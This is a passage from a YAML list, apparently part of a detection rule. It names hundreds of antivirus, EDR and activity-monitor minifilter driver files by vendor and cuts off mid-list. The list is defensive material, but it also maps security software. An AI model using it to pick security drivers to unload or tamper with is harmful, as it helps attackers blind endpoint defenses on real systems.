Malwarebytes Corp.\n            - 'FlightRecorder.sys'\n            - 'mbam.sys'\n            # MastedCode Ltd\n            - 'fsfilter.sys'\n            # Max Secure Software\n            - 'MaxProc64.sys'\n            - 'MaxProtector.sys'\n            - 'maxcryptmon.sys'\n            - 'SDActMon.sys'\n            # McAfee Inc.\n            - 'epdrv.sys'\n            - 'mfencoas.sys'\n            - 'mfehidk.sys'\n            - 'swin.sys'\n            # Meidensha Corp\n            - 'WhiteShield.sys'\n            # Microsoft\n            - 'WdFilter.sys'\n            - 'mpFilter.sys'\n            - 'SysmonDrv.sys'\n            # MicroWorld Software Services Pvt. Ltd.\n            - 'mwfsmfltr.sys'\n            # NeoAutus\n            - 'NeoKerbyFilter'\n            # Netlor SAS\n            - 'KUBWKSP.sys'\n            # NetSecurity Corp\n            - 'trfsfilter.sys'\n            # NHN\n            - 'nsminflt.sys'\n            - 'nsminflt64.sys'\n            # Norman\n            - 'nvcmflt.sys'\n            # Norman ASA\n            - 'nprosec.sys'\n            - 'nregsec.sys'\n            # Novatix Corporation\n            - 'NxFsMon.sys'\n            # NPcore Ltd\n            - 'FileScan.sys'\n            # Odyssey Cyber Security\n            - 'ODFsFimFilter.sys'\n            - 'ODFsTokenFilter.sys'\n            - 'ODFsFilter.sys'\n            # OKUMA Corp\n            - 'ospfile_mini.sys'\n            # OnMoon Company LLC\n            - 'acdrv.sys'\n            # Palo Alto Networks\n            - 'CyvrFsfd.sys'\n            # Panda Security\n            - 'PSINPROC.SYS'\n            - 'PSINFILE.SYS'\n            - 'amfsm.sys'\n            - 'amm8660.sys'\n            - 'amm6460.sys'\n            # Panda Software\n            - 'NanoAVMF.sys'\n            - 'shldflt.sys'\n            # Panzor Cybersecurity\n            - 'pavdrv.sys'\n            # Paretologic\n            - 'PLGFltr.sys'\n            # PC Tools Pty. Ltd.\n            - 'PCTCore64.sys'\n            - 'PCTCore.sys'\n            - 'ikfilesec.sys'\n            # Perfect World Co. Ltd\n            - 'PerfectWorldAntiCheatSys.sys'\n            # PerfectWorld Ltd\n            - 'PWProtect.sys'\n            # PerSystems SA\n            - 'pervac.sys'\n            # Pooyan System\n            - 'RanPodFS.sys'\n            # PWI, Inc.\n            - 'pwipf6.sys'\n            # Qihoo 360\n            - 'dsark.sys'\n            - '360avflt.sys'\n            # Quick Heal Technologies Pvt. Ltd.\n            - 'snsrflt.sys'\n            - 'bdsflt.sys'\n            - 'arwflt.sys'\n            # Quick Heal TechnologiesPvt. Ltd.\n            - 'ggc.sys'\n            - 'catflt.sys'\n            # ReaQta Ltd.\n            - 'reaqtor.sys'\n            # refractionPOINT\n            - 'hcp_kernel_acq.sys'\n            # REVE Antivirus\n            - 'ReveFltMgr.sys'\n            - 'ReveProcProtection.sys'\n            # S.N.Safe&Software\n            - 'snscore.sys'\n            # Sangfor Technologies\n            - 'sfavflt.sys'\n            # Savant Protection, Inc.\n            - 'savant.sys'\n            # Scargo Inc\n            - 'si32_file.sys'\n            - 'si64_file.sys'\n            # SECUI Corporation\n            - 'sciptflt.sys'\n            - 'scifsflt.sys'\n            # SecuLution GmbH\n            - 'ssvhook.sys'\n            # SecureAge Technology\n            - 'sascan.sys'\n            # SecureBrain Corporation\n            - 'mscan-rt.sys'\n            # SecureLink Inc.\n            - 'zwPxeSvr.sys'\n            - 'zwASatom.sys'\n            # Securitas Technologies,Inc.\n            - 'NovaShield.sys'\n            # SecurityCoverage, Inc.\n            - 'SCFltr.sys'\n            # Segira LLC\n            - 'SegiraFlt.sys'\n            # Segurmatica\n            - 'SegMD.sys'\n            - 'SegMP.sys'\n            - 'SegF.sys'\n            # Sequretek IT\n            - 'KawachFsMinifilter.sys'\n            # SGA\n            - 'EPSMn.sys'\n            # SGRI Co., LTD.\n            - 'vcMFilter.sys'\n            # SheedSoft Ltd\n            - 'SheedAntivirusFilterDriver.sys'\n            # Shenzhen Tencent Computer Systems Company Limited\n            - 'TSysCare.sys'\n            - 'TFsFlt.sys'\n            # Softwin\n            - 'bdfsfltr.sys'\n            - 'bdfm.sys'\n            # Sophos\n            - 'savonaccess.sys'\n            - 'sld.sys'\n            # SpellSecurity\n            - 'spellmon.sys'\n            # Sybonic Systems Inc\n            - 'THFilter.sys'\n            # symantec\n            - 'eeCtrl.sys'\n            - 'eraser.sys'\n            - 'SRTSP.sys'\n            - 'SRTSPIT.sys'\n            - 'SRTSP64.SYS'\n            # Symantec\n            - 'VirtualAgent.sys'\n            # Tall Emu\n            - 'OADevice.sys'\n            # Technology Nexus AB\n            - 'SE46Filter.sys'\n            # TEHTRI-Security\n            - 'egambit.sys'\n            # Tencent\n            - 'TesMon.sys'\n            - 'QQSysMonX64.sys'\n            - 'QQSysMon.sys'\n            # Teramind\n            - 'tmfsdrv2.sys'\n            # TRAPMINE A.S.\n            - 'trpmnflt.sys'\n            # Trend\n            - 'tmpreflt.sys'\n            # Trend Micro Inc.\n            - 'TmKmSnsr.sys'\n            - 'fileflt.sys'\n            - 'TmEsFlt.sys'\n            - 'TmEyes.sys'\n            - 'tmevtmgr.sys'\n            # Verdasys Inc\n            - 'STKrnl64.sys'\n            # VisionPower Co.,Ltd.\n            - 'PZDrvXP.sys'\n            # VMware, Inc.\n            - 'vsepflt.sys'\n            - 'VFileFilter.sys(renamed)'\n            # WardWiz\n            - 'WrdWizSecure64.sys'\n            - 'wrdwizscanner.sys'\n            # Webroot Inc.\n            - 'WRAEKernel.sys'\n            - 'WRKrn.sys'\n            - 'WRCore.sys'\n            # Webroot Software, Inc.\n            - 'ssfmonm.sys'\n            # White Cloud Security\n            - 'WCSDriver.sys'\n            # WidgetNuri Corp\n            - 'SoftFilterxxx.sys'\n            - 'RansomDefensexxx.sys'\n            # WINS CO. LTD\n            - 'agentrtm64.sys'\n            - 'rswmon.sys'\n            # Yoggie\n            - 'UFDFilter.sys'\n            # ZhengYong InfoTech LTD.\n            - 'Zyfm.sys'\n            #\n            # FSFilter Anti-Virus - END\n            #\n            #\n            # FSFilter Activity Monitor - BEGIN\n            #\n            # (c)SMS\n            - 'isafermon'\n            # 1mill\n            - 'FSMon.sys'\n            # 360 Software (Beijing)\n            - 'AtdrAgent.sys'\n            - 'AtdrAgent64.sys'\n            - 'Qutmdrv.sys'\n            # Acronis\n            - 'NgScan.sys'\n            # Actifio Inc\n            - 'aaf.sys'\n            # Adaptiva\n            - 'AdaptivaClientCache32.sys'\n            - 'AdaptivaclientCache64.sys'\n            # Adtrustmedia\n            - 'browserMon.sys'\n            # AhnLab, Inc.\n            - 'VPDrvNt.sys'\n            # AI Consulting\n            - 'aictracedrv_am.sys'\n            # Airlock Digital Pty Ltd\n            - 'alcapture.sys'\n            # AIRWare Technology Ltd\n            - 'airship-filter.sys'\n            # Alfa\n            - 'AlfaFF.sys'\n            # Aliaksander Lebiadzevich\n            - 'SDDrvLdr.sys'\n            # AlphaAntiLeak\n            - 'AALProtect.sys'\n            # ALPS SYSTEM INTERGRATION CO.\n            - 'ISIRMFmon.sys'\n            # Altaro Ltd.\n            - 'altcbt.sys'\n            # ALWIL Software\n            - 'aswFsBlk.sys'\n            # Amazon Web Services Inc\n            - 'AmznMon.sys'\n            # Analytik Jena AG\n            - 'ajfsprot.sys'\n            # ApexSQL LLC\n            - 'ApexSqlFilterDriver.sys'\n            # AppGuard LLC\n            - 'AGSysLock.sys'\n            - 'AGSecLock.sys'\n            # AppiXoft\n            - 'axfsysmon.sys'\n            - 'scensemon.sys'\n            # AppSense Ltd\n            - 'DataNow_Driver.sys'\n            - 'UcaFltDriver.sys'\n            # AppStream, Inc.\n            - 'rflog.sys'\n            # ApSoft\n            - 'CwMem2k64.sys'\n            # Aqua Security\n            - 'ContainerMonitor.sys'\n            # Arcserve\n            - 'xoiv8x64.sys'\n            # Arkoon Network Security\n            - 'heimdall.sys'\n            # Ashampoo Development\n            - 'IFS64.sys'\n            # AsiaInfo Technologies\n            - 'kFileFlt.sys'\n            # Aternity Ltd\n            - 'AternityRegistryHook.sys'\n            # Atlansys Software\n            - 'atflt.sys'\n            - 'amfd.sys'\n            # Avanite Limited\n            - 'AvaPsFD.sys'\n            # Avast Software\n            - 'aswSP.sys'\n            # AVG Technologies CZ\n            - 'avgtpx86.sys'\n            - 'avgtpx64.sys'\n            # Avira GmbH\n            - 'avipbb.sys'\n            # Axact Pvt Ltd\n            - 'axfltdrv.sys'\n            # Axur Information Sec.\n            - 'amsfilter.sys'\n            # Baidu (beijing)\n            - 'BdRdFolder.sys'\n            # Baidu (Hong Kong) Limited\n            - 'Bfmon.sys'\n            # Baidu Online Network\n            - 'bdsysmon.sys'\n            # Barkly Protects Inc.\n            - 'BOsCmFlt.sys'\n            - 'BOsFsFltr.sys'\n            # BattlEye Innovations\n            - 'BEDaisy.sys'\n            # Beijing CA-JinChen Software Co.\n            - 'kfac.sys'\n            # Beijing QiAnXin Tech.\n            - 'QmInspec.sys'\n            # Beijing Qihoo Technology Co.\n            - '360fsflt.sys'\n            # Beijing Shu Yan Science\n            - 'GagSecurity.sys'\n            # Beijing Zhong Hang Jiaxin Computer Technology Co.,Ltd.\n            - 'filefilter.sys'\n            # Best Security\n            - 'rpwatcher.sys'\n            # BeyondTrust Inc.\n            - 'BlackbirdFSA.sys'\n            # BicDroid Inc.\n            - 'QDocumentREF.sys'\n            # Bit9 Inc.\n            - 'CarbonBlackK.sys'\n            # BitArmor Systems, Inc\n            - 'bapfecpt.sys'\n            - 'bamfltr.sys'\n            # Bitdefender SRL\n            - 'edrsensor.sys'\n            - 'bdprivmon.sys'\n            # bitFence Inc.\n            - 'bfaccess.sys'\n            # BiZone LLC\n            - 'bzsenyaradrv.sys'\n            - 'bzsenspdrv.sys'\n            - 'bzsenth.sys'\n            # Blue Ridge Networks\n            - 'BrnFileLock.sys'\n            - 'BrnSecLock.sys'\n            # Bluzen Inc\n            - 'ipcomfltr.sys'\n            # Broadcom\n            - 'symevnt.sys'\n            - 'symevnt32.sys'\n            # Bromium Inc\n            - 'brfilter.sys'\n            - 'BrCow_x_x_x_x.sys'\n            - 'BemK.sys'\n            # ByStorm\n            - 'BssAudit.sys'\n            # C-DAC Hyderabad\n            - 'pecfilter.sys'\n            # CA\n            - 'xomfcbt8x64.sys'\n            - 'KmxAgent.sys'\n            - 'KmxFile.sys'\n            - 'KmxSbx.sys'\n            # Carbonite Inc\n            - 'MozyNextFilter.sys'\n            - 'MozyCorpFilter.sys'\n            - 'MozyEntFilter.sys'\n            - 'MozyOEMFilter.sys'\n            - 'MozyEnterpriseFilter.sys'\n            - 'MozyProFilter.sys'\n            - 'MozyHomeFilter.sys'\n            - 'BDSFilter.sys'\n            - 'CSBFilter.sys'\n            # cEncrypt\n            - 'dsflt.sys'\n            # Centennial Software Ltd\n            - 'msiodrv4.sys'\n            # Centre for Development of Advanced Computing\n            - 'USBPDH.SYS'\n            # Centrify Corp\n            - 'CentrifyFSF.sys'\n            # Certero\n            - 'cmflt.sys'\n            # Chaewool\n            - 'cFSfdrv'\n            # Check Point Software\n            - 'epregflt.sys'\n            - 'epklib.sys'\n            # Checkpoint Software\n            - 'cpepmon.sys'\n            # ChemoMetec\n            - 'ChemometecFilter.sys'\n            # Cigent Technology Inc\n            - 'Spotlight.sys'\n            # Cigital, Inc.\n            - 'fmdrive.sys'\n            # Cisco Systems\n            - 'csaam.sys'\n            # Citrix Systems\n            - 'srminifilterdrv.sys'\n            # Clonix Co\n            - 'rsfdrv.sys'\n            # Clumio Inc\n            - 'ClumioChangeBlockMf.sys'\n            # Code42\n            - 'Code42Filter.sys'\n            # ColorTokens\n            - 'FFDriver.sys'\n            # Comae Tech\n            - 'windd.sys'\n            # CommVault Systems, Inc.\n            - 'CVCBT.sys'\n            # Comodo Security Solutions Inc.\n            - 'CmdCwagt.sys'\n            - 'cfrmd.sys'\n            # ComTrade\n            - 'ctamflt.sys'\n            # Comtrue Technology\n            - 'shdlpSf.sys'\n            - 'ctrPAMon.sys'\n            - 'shdlpMedia.sys'\n            # Conduant Corporation\n            - 'ConduantFSFltr.sys'\n            # Condusiv Technologies\n            - 'hiofs.sys'\n            # CondusivTechnologies\n            - 'vintmfs.sys'\n            - 'intmfs.sys'\n            - 'excfs.sys'\n            # Confio\n            - 'IridiumSwitch.sys'\n            # CONNECT SHIFT LTD\n            - 'DTPL.sys'\n            # Crawler Group\n            - 'tbrdrv.sys'\n            # Credant Technologies\n            - 'XendowFLT.sys'\n            # CristaLink\n            - 'mtsvcdf.sys'\n            # CRU Data Security Group\n            - 'CdsgFsFilter.sys'\n            # CyberArk Software\n            - 'vfpd.sys'\n            - 'CybKernelTracker.sys'\n            # CyberSight Inc\n            - 'csmon.sys'\n            # Cygna Labs\n            - 'FileMonitor.sys'\n            # Cylance Inc.\n            - 'CyOptics.sys'\n            - 'CyProtectDrv32.sys'\n            - 'CyProtectDrv64.sys'\n            # Cytrence Inc\n            - 'cytmon.sys'\n            # Datacloak Tech\n            - 'dcfsgrd.sys'\n            # DataGravity Inc.\n            - 'dgfilter.sys'\n            # Datto Inc\n            - 'DattoFSF.sys'\n            # Dell Secureworks\n            - 'groundling32.sys'\n            - 'groundling64.sys'\n            # Dell Software Inc.\n            - 'DgeDriver.sys'\n            # DELL Technologies\n            - 'DTDSel.sys'\n            # Dell Technologies\n            - 'NWEDriver.sys'\n            # derivo GmbH\n            - 'bbfilter.sys'\n            # Digitalsense Co\n            - 'dsfltfs.sys'\n            # Diskeeper Corporation\n            - 'nowonmf.sys'\n            - 'dktlfsmf.sys'\n            - 'DKDrv.sys'\n            - 'DKRtWrt.sys'\n            - 'HBFSFltr.sys'\n            # Dmitry Stefankov\n            - 'WinTeonMiniFilter.sys'\n            - 'wiper.sys'\n            - 'DevMonMiniFilter.sys'\n            # Doctor Web\n            - 'Drwebfwflt.sys'\n            - 'EventMon.sys'\n            # Douzone Bizon Co\n            - 'rswctrl.sys'\n            - 'mcstrg.sys'\n            - 'fmkkc.sys'\n            - 'nmlhssrv01.sys'\n            # DreamCrafts\n            - 'SaMFlt.sys'\n            # Dtex Systems\n            - 'dnaFSMonitor.sys'\n            # EaseVault Technologies Inc.\n            - 'EaseFlt.sys'\n            # Egis Technology Inc.\n            - 'eLock2FSCTLDriver.sys'\n            # eIQnetworks Inc.\n            - 'FIM.sys'\n            # Elex Tech Inc\n            - 'iSafeKrnl.sys'\n            - 'iSafeKrnlMon.sys'\n            # eMingSoftware Inc\n            - 'NetPeeker.sys'\n            # Encourage Technologies\n            - 'asiofms.sys'\n            # Enterprise Data Solutions, Inc.\n            - 'edsigk.sys'\n            # Entrust Inc.\n            - 'eetd32.sys'\n            - 'eetd64.sys'\n            # ESET, spol. s r.o.\n            - 'ehdrv.sys'\n            # ESTsoft corp.\n            - 'EstPrmon.sys'\n            - 'Estprp.sys'\n            - 'EstRegmon.sys'\n            - 'EstRegp.sys'\n            # F-Secure\n            - 'fshs.sys'\n            - 'fsatp.sys'\n            # Faronics Corporation\n            - 'AeFilter.sys'\n            # FastTrack Software ApS\n            - 'AbrPmon.sys'\n            # FFC Limited\n            - 'FFCFILT.SYS'\n            # FileTek, Inc.\n            - 'TrustedEdgeFfd.sys'\n            # FireEye Inc\n            - 'WFP_MRT.sys'\n            # FireEye Inc.\n            - 'FeKern.sys'\n            # Fitsec Ltd\n            - 'kconv.sys'\n            - 'trace.sys'\n            - 'SandDriver.sys'\n            # Flexera Software Inc.\n            - 'ISRegFlt.sys'\n            - 'ISRegFlt64.sys'\n            # ForcePoint LLC.\n            - 'fpepflt.sys'\n            # Fujian Shen Kong\n            - 'wats_se.sys'\n            # FUJITSU ENGINEERING\n            - 'ibr2fsk.sys'\n            # FUJITSU LIMITED\n            - 'FJGSDis2.sys'\n            - 'FJSeparettiFilterRedirect.sys'\n            - 'Fsw31rj1.sys'\n            - 'da_ctl.sys'\n            # FUJITSU SOCIAL SCIENCE\n            - 'secure_os.sys'\n            # FUJITSU SOFTWARE\n            - 'PsAcFileAccessFilter.sys'\n            # Fusion-io\n            - 'fiometer.sys'\n            - 'dcSnapRestore.sys'\n            # Futuresoft\n            - 'PointGuardVistaR32.sys'\n            - 'PointGuardVistaR64.sys'\n            - 'PointGuardVistaF.sys'\n            - 'PointGuardVista64F.sys'\n            # G Data Software AG\n            - 'gddcv.sys'\n            # GameHi Co.\n            - 'Codex.sys'\n            # GemacmbH\n            - 'GcfFilter.sys'\n            # Glarysoft Ltd.\n            - 'GUMHFilter.sys'\n            # Google, Inc.\n            - 'MRxGoogle.sys'\n            # Gorizonty Rosta Ltd\n            - 'GoFSMF.sys'\n            # GrammaTech, Inc.\n            - 'drvhookcsmf.sys'\n            - 'drvhookcsmf_amd64.sys'\n            # Group-IB LTD\n            - 'gibepcore.sys'\n            # HA Unix Pt\n            - 'hafsnk.sys'\n            # Hangzhou Yifangyun\n            - 'fangcloud_autolock_driver.sys'\n            # HAURI\n            - 'secure_os_mf.sys'\n            # Hauri Inc\n            - 'VrVBRFsFilter.sys'\n            - 'VrExpDrv.sys'\n            # HAVELSAN A.\n            - 'HVLMinifilter.sys'\n            # HEAT Software\n            - 'SK.sys'\n            # Heilig Defense LLC\n            - 'HDRansomOffDrv.sys'\n            - 'HDCorrelateFDrv.sys'\n            - 'HDFileMon.sys'\n            # Hexis Cyber Solutions\n            - 'HexisFSMonitor.sys'\n            # HFN Inc.\n            - 'RGNT.sys'\n            # Hitachi Solutions\n            - 'hsmltmon.sys'\n            # Honeycomb Technologies\n            - 'dskmn.sys'\n            # HP\n            - 'hpreg.sys'\n            # i-Guard SAS\n            - 'iGuard.sys'\n            # I-O DATA DEVICE\n            - 'sConnect.sys'\n            # IBM\n            - 'NmpFilter.sys'\n            - 'FsMonitor.sys'\n            # Idera\n            - 'IderaFilterDriver.sys'\n            # Idera Software\n            - 'SQLsafeFilterDriver.sys'\n            # IGLOO SECURITY, Inc.\n            - 'kmNWCH.sys'\n            # IKARUS Security\n            - 'Sonar.sys'\n            # Immidio B.V.\n            - 'immflex.sys'\n            # in-soft Kft.\n            - 'LmDriver.sys'\n            # INCA Internet Co.\n            - 'GKPFCB.sys'\n            - 'GKPFCB64.sys'\n            # INCA Internet Co.,Ltd.\n            - 'TkPcFtCb.sys'\n            - 'TkPcFtCb64.sys'\n            # Industrial Technology\n            - 'icrlmonitor.sys'\n            # InfoCage\n            - 'IccFilterSc.sys'\n            # Informzaschita\n            - 'SnDacs.sys'\n            - 'SnExequota.sys'\n            # Infotecs\n            - 'filenamevalidator.sys'\n            - 'KC3.sys'\n            # InfoWatch\n            - 'iwhlp2.sys'\n            - 'iwhlpxp.sys'\n            - 'iwhlp.sys'\n            - 'iwdmfs.sys'\n            # Initech Inc.\n            - 'INISBDrv64.sys'\n            # Int3 Software AB\n            - 'equ8_helper.sys'\n            # Intel Corporation\n            - 'ielcp.sys'\n            - 'IESlp.sys'\n            - 'IntelCAS.sys'\n            # Intercom Inc.\n            - 'tsifilemon.sys'\n            - 'MarSpy.sys'\n            # Interset Inc.\n            - 'WDCFilter.sys'\n            # Intronis Inc\n            - 'VHDTrack.sys'\n            # Invincea\n            - 'InvProtectDrv.sys'\n            - 'InvProtectDrv64.sys'\n            # Ionx Solutions LLP\n            - 'AuditFlt.sys'\n            # ioScience\n            - 'iothorfs.sys'\n            # iSecure Ltd.\n            - 'isecureflt.sys'\n            # ITsMine\n            - 'imfilter.sys'\n            # ITSTATION Inc\n            - 'aUpDrv.sys'\n            # Ivanti\n            - 'IvAppMon.sys'\n            # J's Communication Co.\n            - 'RevoNetDriver.sys'\n            # Jinfengshuntai\n            - 'IPFilter.sys'\n            # JiranData Co. Ltd\n            - 'JDPPWF.sys'\n            - 'JDPPSF.sys'\n            # Jiransoft Co., Ltd\n            - 'offsm.sys'\n            - 'xkfsfd.sys'\n            - 'JKPPOB.sys'\n            - 'JKPPXK.sys'\n            - 'JKPPPF.sys'\n            - 'JKPPOK.sys'\n            - 'pcpifd.sys'\n            # k4solution Co.\n            - 'zsfprt.sys'\n            # Kalpataru\n            - 'GPMiniFIlter.sys'\n            # Kaspersky Lab\n            - 'klboot.sys'\n            - 'klfdefsf.sys'\n            - 'klrsps.sys'\n            - 'klsnsr.sys'\n            - 'klifks.sys'\n            - 'klifaa.sys'\n            - 'Klifsm.sys'\n            # KEBA AG\n            - 'KeWF.sys'\n            # Kenubi\n            - 'boxifier.sys'\n            # Keysight Technologies\n            - 'KtFSFilter.sys'\n            # kingsoft\n            - 'Kisknl.sys'\n            # KnowledgeTree Inc.\n            - 'ktsyncfsflt.sys'\n            # Koby Kahane\n            - 'NpEtw.sys'\n            # Ladislav Zezula\n            - 'MSpy.sys'\n            # LANDESK Software\n            - 'LDSecDrv.sys'\n            # Lenovo Beijing\n            - 'slb_guard.sys'\n            - 'lrtp.sys'\n            # LINK co.\n            - 'NetAccCtrl.sys'\n            - 'NetAccCtrl64.sys'\n            # Livedrive Internet Ltd\n            - 'LivedriveFilter.sys'\n            # Logichron Inc\n            - 'CatMF.sys'\n            # LogRhythm Inc.\n            - 'LRAgentMF.sys'\n            # Lovelace Network Tech\n            - 'MPKernel.sys'\n            # Lumension\n            - 'eps.sys'\n            # Magic Softworks, Inc.\n            - 'MagicBackupMonitor.sys'\n            # magrasoft Ltd\n            - 'zqFilter.sys'\n            # MailRu\n            - 'mracdrv.sys'\n            # Malwarebytes\n            - 'mbamshuriken.sys'\n            # Man Technology Inc\n            - 'bsrfsflt.sys'\n            - 'fsrfilter.sys'\n            - 'vollock.sys'\n            - 'drbdlock.sys'\n            # ManageEngine Zoho\n            - 'DFMFilter.sys'\n            - 'DCFAFilter.sys'\n            - 'RMPHVMonitor.sys'\n            - 'FAPMonitor.sys'\n            - 'MEARWFltDriver.sys'\n            # ManTech\n            - 'topdogfsfilt.sys'\n            # March Hare Software Ltd\n            - 'evscase.sys'\n            - 'inuse.sys'\n            - 'cvsflt.sys'\n            # McAfee\n            - 'mfencfilter.sys'\n            # McAfee Inc.\n            - 'mfeaskm.sys'\n            # Micro Focus\n            - 'FilrDriver.sys'\n            # Microsoft\n            - 'DhWatchdog.sys'\n            - 'mssecflt.sys'\n            - 'Backupreader.sys'\n            - 'MsixPackagingToolMonitor.sys'\n            - 'AppVMon.sys'\n            - 'DpmFilter.sys'\n            - 'Procmon11.sys'\n            - 'minispy.sys'\n            - 'fdrtrace.sys'\n            - 'filetrace.sys'\n            - 'uwfreg.sys'\n            - 'uwfs.sys'\n            - 'locksmith.sys'\n            - 'winload.sys'\n            - 'CbSampleDrv.sys'\n            - 'simrep.sys'\n            - 'change.sys'\n            - 'delete_flt.sys'\n            - 'SmbResilFilter.sys'\n            - 'usbtest.sys'\n            - 'NameChanger.sys'\n            - 'failMount.sys'\n            - 'failAttach.sys'\n            - 'stest.sys'\n            - 'cdo.sys'\n            - 'ctx.sys'\n            - 'fmm.sys'\n            - 'cancelSafe.sys'\n            - 'message.sys'\n            - 'passThrough.sys'\n            - 'nullFilter.sys'\n            - 'ntest.sys'\n            - 'iiscache.sys'\n            - 'wrpfv.sys'\n            - 'msnfsflt.sys'\n            # MRY Inc.\n            - 'drsfile.sys'\n            # NanJing Geomarking\n            - 'MagicProtect.sys'\n            - 'cbfsfilter2020.sys'\n            # NEC Corporation\n            - 'UVMCIFSF.sys'\n            # NEC Soft\n            - 'flyfs.sys'\n            - 'serfs.sys'\n            - 'hdrfs.sys'\n            # NEC System Technologies\n            - 'IccFilterAudit.sys'\n            # NEC System Technologies,Ltd.\n            - 'ICFClientFlt.sys'\n            - 'IccFileIoAd.sys'\n            # Neowiz Corporation\n            - 'MWatcher.sys'\n            # NetIQ\n            - 'CGWMF.sys'\n            # NetLib\n            - 'nlcbhelpx86.sys'\n            - 'nlcbhelpx64.sys'\n            - 'nlcbhelpi64.sys'\n            # NetVision, Inc.\n            - 'nvmon.sys'\n            # Network Appliance\n            - 'flashaccelfs.sys'\n            - 'changelog.sys'\n            # NetworkProfi Ltd\n            - 'laFS.sys'\n            # New Net Technologies Limited\n            - 'NNTInfo.sys'\n            # NewSoftwares.net,Inc.\n            - 'WinFLAHdrv.sys'\n            - 'WinFLAdrv.sys'\n            - 'WinDBdrv.sys'\n            - 'WinFLdrv.sys'\n            - 'WinFPdrv.sys'\n            # NEXON KOREA\n            - 'BlackCat.sys'\n            # NextLabs\n            - 'nxrmflt.sys'\n            # Niriva LLC\n            - 'VHDDelta.sys'\n            - 'FSTrace.sys'\n            # Novell\n            - 'zesfsmf.sys'\n            # NTP Software\n            - 'ntps_fa.sys'\n            # Nurd Yazilim A.S.\n            - 'edrdrv.sys'\n            # NURILAB\n            - 'pfracdrv.sys'\n            - 'nrcomgrdki.sys'\n            - 'nrcomgrdka.sys'\n            - 'nrpmonki.sys'\n            - 'nrpmonka.sys'\n            - 'nravwka.sys'\n            - 'bhkavki.sys'\n            - 'bhkavka.sys'\n            - 'docvmonk.sys'\n            - 'docvmonk64.sys'\n            # NVELO Inc.\n            - 'SamsungRapidFSFltr.sys'\n            # OCZ Storage\n            - 'OczMiniFilter.sys'\n            # OnGuard Systems LLC\n            - 'NlxFF.sys'\n            # OpenText Corp\n            - 'enmon.sys'\n            # OPSWAT Inc.\n            - 'libwamf.sys'\n            # ORANGE WERKS Inc\n            - 'wgfile.sys'\n            # PA File Sight\n            - 'FileSightMF.sys'\n            # Packeteer\n            - 'mblmon.sys'\n            # Palo Alto Networks\n            - 'tedrdrv.sys'\n            # PHD Virtual Tech Inc.\n            - 'phdcbtdrv.sys'\n            # PJSC KP VTI\n            - 'RW7FsFlt.sys'\n            # PolyLogyx LLC\n            - 'vast.sys'\n            # Positive Technologies\n            - 'mpxmon.sys'\n            # Protected Networks\n            - 'minitrc.sys'\n            # Qihoo 360\n            - '360box.sys'\n            # Qingdao Ruanmei Network Technology Co.\n            - 'RMDiskMon.sys'\n            - 'diskactmon.sys'\n            # Quality Corporation\n            - 'qfmon.sys'\n            # Qualys Inc.\n            - 'QMON.sys'\n            - 'qfimdvr.sys'\n            # Quantum Corporation.\n            - 'cvofflineFlt32.sys'\n            - 'cvofflineFlt64.sys'\n            # Quest Software\n            - 'QFAPFlt.sys'\n            # Quest Software Inc.\n            - 'BWFSDrv.sys'\n            - 'CAADFlt.sys'\n            # Quick Heal Technologies Pvt. Ltd.\n            - 'sieflt.sys'\n            - 'cssdlp.sys'\n            - 'fam.sys'\n            # Quorum Labs\n            - 'qfilter.sys'\n            # Rackware\n            - 'rwchangedrv.sys'\n            # Redstor Limited\n            - 'RsFlt.sys'\n            # RES Software\n            - 'FileGuard.sys'\n            - 'NetGuard.sys'\n            - 'RegGuard.sys'\n            - 'ImgGuard.sys'\n            - 'AppGuard.sys'\n            # Resplendence Software Projects\n            - 'mmPsy32.sys'\n            - 'mmPsy64.sys'\n            - 'rrMon32.sys'\n            - 'rrMon64.sys'\n            # rhipe Australia Pty\n            - 'SeRdr.sys'\n            # Rubrik Inc\n            - 'RubrikFileAudit.sys'\n            - 'FileSystemCBT.sys'\n            # rubysoft\n            - 'IronGateFD.sys'\n            # RuiGuard Ltd\n            - 'RuiMinispy.sys'\n            - 'RuiFileAccess.sys'\n            - 'RuiEye.sys'\n            - 'RuiMachine.sys'\n            - 'RuiDiskFs.sys'\n            # RUNEXY\n            - 'ruaff.sys'\n            - 'mlsaff.sys'\n            # SAFE-Cyberdefense\n            - 'SAFE-Agent.sys'\n            # Safend\n            - 'Sahara.sys'\n            - 'Santa.sys'\n            # SaferZone Co.\n            - 'SZEDRDrv.sys'\n            - 'szardrv.sys'\n            - 'szpcmdrv.sys'\n            - 'szdfmdrv.sys'\n            - 'szdfmdrv_usb.sys'\n            - 'sprtdrv.sys'\n            # Samsung SDS Ltd\n            - 'SGResFlt.sys'\n            # SanDisk Inc.\n            - 'fiopolicyfilter.sys'\n            # Sandoll Communication\n            - 'SfdFilter.sys'\n            # SC ODEKIN SOLUTIONS SRL\n            - 'ospmon.sys'\n            # Scalable Software Inc.\n            - 'PkgFilter.sys'\n            # ScriptLogic\n            - 'FSAFilter.sys'\n            # Secdo\n            - 'SecdoDriver.sys'\n            # SecureAxis\n            - 'usbl_ifsfltr.sys'\n            # SecureAxis Software\n            - 'llfilter.sys'\n            # Secured Globe Inc.\n            - 'fltRs329.sys'\n            # Security Code LLC\n            - 'ScAuthFSFlt.sys'\n            - 'ScAuthIoDrv.sys'\n            # SentinelOne\n            - 'SentinelMonitor.sys'\n            # Sevtechnotrans\n            - 'uamflt.sys'\n            # Shanghai YiCun Network Tech Co. Ltd\n            - 'AccessValidator.sys'\n            # SharpCrafters\n            - 'psisolator.sys'\n            # SheedSoft Ltd\n            - 'SheedSelfProtection.sys'\n            # SheedSoft Ltd.\n            - 'arta.sys'\n            # Shenzhen CloudRiver\n            - 'CrUnCopy.sys'\n            # SHENZHEN UNNOO Information Techco.\n            - 'RyGuard.sys'\n            - 'FileShareMon.sys'\n            - 'ryfilter.sys'\n            # Shenzhen Unnoo LTD\n            - 'secufile.sys'\n            - 'XiaobaiFs.sys'\n            - 'XiaobaiFsR.sys'\n            # ShinNihonSystec Co\n            - 'sagntflt.sys'\n            # Simopro Technology\n            - 'CbFltFs4.sys'\n            # SK Infosec Co\n            - 'PLPOffDrv.sys'\n            - 'ISFPDrv.sys'\n            - 'ionmonwdrv.sys'\n            # Sky Co., LTD.\n            - 'SkyRGDrv.sys'\n            - 'SkyAMDrv.sys'\n            # Sky Co.,Ltd.\n            - 'SkyWPDrv.sys'\n            # SmartFile LLC\n            - 'FileHubAgent.sys'\n            # SMTechnology Co.\n            - 'storagedrv.sys'\n            # SN Systems Ltd\n            - 'cbfilter20.sys'\n            - 'cbfsfilter2017.sys'\n            # SnoopWall LLC\n            - 'SWCommFltr.sys'\n            # SODATSW\n            - 'sodatpfl.sys'\n            - 